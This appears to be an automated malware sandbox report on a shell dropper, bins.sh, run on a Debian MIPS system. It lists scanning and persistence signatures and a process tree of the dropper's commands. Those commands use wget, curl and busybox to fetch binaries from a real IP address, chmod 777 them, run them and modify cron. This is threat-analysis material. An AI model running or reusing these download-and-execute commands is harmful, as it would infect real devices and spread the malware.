Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    06/11/2024, 01:12

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-bkhj3svmaj
  • SHA256 cc685abb25c89411a283ec172171d2c67e2914ed59556ea4c15d6d71cf36ab1d
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1882) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          ./sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            ./aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:745
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:747
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:748
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:749
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:750
                • /bin/rm
                  rm aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                  2⤵
                    PID:752
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                    2⤵
                      PID:792
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                      2⤵
                        PID:840
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                        • Writes file to tmp directory
                        PID:841
                      • /bin/chmod
                        chmod 777 Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                        • File and Directory Permissions Modification
                        PID:842
                      • /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        ./Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                        • Executes dropped EXE
                        PID:843
                      • /bin/rm
                        rm Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                          PID:845
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                          2⤵
                            PID:846
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                            2⤵
                              PID:847
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                              • Writes file to tmp directory
                              PID:852
                            • /bin/chmod
                              chmod 777 Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                              • File and Directory Permissions Modification
                              PID:857
                            • /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              ./Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                              • Executes dropped EXE
                              PID:858
                            • /bin/rm
                              rm Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                                PID:861
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                2⤵
                                  PID:862

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                                    • Path /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                                    • Path /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                                    • Path /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                                    • Path /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                                    • Size 177KB
                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.r1U7Gs
                                    • Path /var/spool/cron/crontabs/tmp.r1U7Gs
                                    • Size 210B
                                    • SHA256 ef8e5fc8542aed8d32d8cfb4af5da340952254ef45446f9a0e699b2d2c401496
                                    • MD5 SHA1 SHA512
                                    Submit Download